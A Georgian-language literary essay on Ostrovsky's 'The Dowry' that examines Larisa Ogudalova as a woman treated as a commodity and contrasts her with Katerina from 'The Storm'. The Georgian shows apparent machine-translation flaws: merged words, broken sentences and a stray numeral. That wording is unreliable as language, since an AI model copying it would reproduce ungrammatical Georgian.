ლარისა გარშემორტყმულია წვრილმანი, უღიმღამო ხალხით. ბრწყინვალე ოსტატი პარატოვი ლარისას მხოლოდ მშვენიერ ნივთად აღიქვამს. ეს შთამბეჭდავი, ნარცისული მამაკაცი გოგონას იდეალის განსახიერებად ეჩვენება. მაგრამ სინამდვილეში პარატოვს არც კეთილშობილება აქვს და არც სიკეთე. ის არის ეგოისტი, წვრილმანი, სასტიკი, გამომთვლელი.

თუმცა მისგან დიდად არ განსხვავდება კარანდიშევი, რომელიც თავდაპირველად არ აღიქმება ლარისას ღირსეულ მატჩად. ლარისა ახალგაზრდა და გამოუცდელია. მას არ აქვს ძლიერი ხასიათიგაუმკლავდეს არსებულ ვითარებას. თითქოს ის თამაშობს სხვისი წესებით, ხდება სათამაშო სხვის ხელში. ლარისას დედაც კი ქალიშვილს მხოლოდ საქონელად აღიქვამს. იგი მზად არის შესწიროს ლარისას სილამაზე და ახალგაზრდობა, რადგან ეს შესაძლებელს ხდის მატერიალური სარგებლის მოპოვებას და გაძლიერებას. სოციალური სტატუსიოგუდალოვები.

ყველა, ვინც გარს აკრავს ლარისას, მას თვლის ექსკლუზიურად ნივთად, გართობის ობიექტად. შემთხვევითი არ არის, რომ მას ათამაშებენ. ყველა საუკეთესო თვისებებილარისა, მისი სული, მისი გრძნობები არავის აინტერესებს. ხალხი მხოლოდ მასზე ფიქრობს გარეგანი სილამაზე. ყოველივე ამის შემდეგ, ეს არის ის, რაც მას ასეთ მიმზიდველ სათამაშოდ აქცევს.

კარანდიშევი ეუბნება ლარისას: „ისინი არ გიყურებენ როგორც ქალს, როგორც პიროვნებას... ისინი გიყურებენ როგორც ნივთს“. ამას თავად ოგუდალოვა ეთანხმება: „რამე... დიახ, რამე! მართლები არიან, მე ნივთი ვარ, ადამიანი არ ვარ...“ Ჩემი აზრით, დიდი ტრაგედიაგოგოებს ზუსტად ის აქვს, რომ ლარისას თბილი გული აქვს. ცივსისხლიანი, გამომთვლელი, ეშმაკი რომ ყოფილიყო, ლარისა თავისი გარეგნული მონაცემებით და საკუთარი თავის წარმოჩენის უნარით მოახერხებდა ძალიან კარგ სამსახურს ცხოვრებაში. თუმცა, ჰეროინის მხურვალება, ემოციურობა და გახსნილობა აიძულებს მას უფრო მეტად იტანჯოს მისთვის დაკისრებული როლი. ლარისას სიყვარული და გრძნობები არავის აინტერესებს, ის საჭიროა მხოლოდ გასართობად. დრამის დასასრულს გოგონა დამსხვრეული და განადგურებული მთავრდება. ეს იწვევს იმ ფაქტს, რომ სასოწარკვეთილი ლარისა კი თანახმაა მიიღოს კნუროვის პირობები.

ტრაგიკული დასასრული "The Dowry" არის ხსნა ჰეროინისთვის, ხსნა დამცირებისგან. ახლა ის არავის ეკუთვნის. სიკვდილი თითქოს კურთხევაა ლარისასთვის. ბოლოს და ბოლოს, დამცირებული, უბედური, ის აზრს არ ხედავს მოგვიანებით ცხოვრება. სერგეი სერგეევიჩ პარატოვის საქციელი გოგონას აცნობიერებს ამას საშინელი ფაქტირომ მისი ცხოვრების დასასრული აუცილებლად ტრაგიკული იქნება. დიახ, ახლა ის სერგეი პარატოვის გარდა ვიღაცას ჯერ კიდევ სჭირდება, მაგრამ გავა წლები, მისი ახალგაზრდობა გაქრება და ლარისა უბრალოდ გადააგდებს მის ერთ-ერთ მდიდარ პატრონს, როგორც გაცვეთილ და არასაჭირო ნივთს.

დრამა „მზითი“ კვლავ გვაფიქრებინებს ქალის ადგილს მსოფლიოში. თუ სპექტაკლში "ჭექა-ქუხილი" კატერინა დომოსტროევსკის ცხოვრების წესის მსხვერპლი გახდა, მაშინ ლარისა ახალი, კაპიტალისტური ურთიერთობების მსხვერპლია. აღსანიშნავია, რომ იცვლება წესები, რომლითაც საზოგადოება ცხოვრობს. ქალი კი ისევ უძლურ არსებად რჩება. კატერინა კაბანოვა პოულობს პროტესტის ძალას. ყოველივე ამის შემდეგ, მისი თვითმკვლელობა აშკარა პროტესტია იმ რეალობის წინააღმდეგ4, რომელშიც ჰეროინი უნდა ეცხოვრა. ლარისას არ აქვს გამბედაობა, პროტესტის გამოხატვის მცდელობაც კი. ის რჩება სათამაშო გარემოებათა ხელში ბოლომდე. ალბათ ამის მიზეზი ის აღზრდაა, რომელიც ლარისა ოგუდალოვამ მიიღო. თუ კვლავ მივუბრუნდებით კატერინას გამოსახულებას "ჭექა-ქუხილიდან", შეგვიძლია გავიხსენოთ, რომ ეს გოგონა გაიზარდა ატმოსფეროში. მშობლების სიყვარულიდა მეურვეობა. ამიტომ, იგი ძალიან მგრძნობიარე იყო მისი ამჟამინდელი უძლური მდგომარეობის მიმართ. რაც შეეხება დრამის "მზითვას" გმირს, აქ, როგორც ჩანს, ლარისა თავდაპირველად დედამ მოამზადა სპეციალურად საქონლის, სათამაშოს როლისთვის. აქედან გამომდინარეობს გოგონას პასიურობა, ბრძოლის, უფლებების დაცვის სურვილის ნაკლებობა.

ლარისას ბედი სამწუხაროა. მაგრამ ამავე დროს, თქვენ არ შეგიძლიათ არ გაგიკვირდეთ, რატომ არ პოულობს ჰეროინი, რომელსაც მხურვალე გული აქვს და ვნებიანად სურს სიყვარული, სხვა გამოსავალს არ პოულობს თავისი ვნებებისთვის. ბოლოს და ბოლოს, მას, რომელმაც ევროპელიზებული აღზრდა მიიღო, შეეძლო გამოეცნო, რომ მისი შეყვარებული ხედავს მის ერთადერთ გართობაში. თუმცა, ლარისა ისეთ ატმოსფეროში გაიზარდა, რომ საკუთარი თავის მომგებიანად გაყიდვის შესაძლებლობა, მისი სილამაზე და ნიჭი საკმაოდ მისაღები ჩანდა. შემთხვევითი არ არის, რომ ლარისას დედა ძალიან ეგოისტად არის გამოსახული. სამწუხაროა, რომ ლარისას მთელი წრიდან არ არის ისეთი გულგრილი და სასტიკი ახალგაზრდა გოგონას ბედის მიმართ.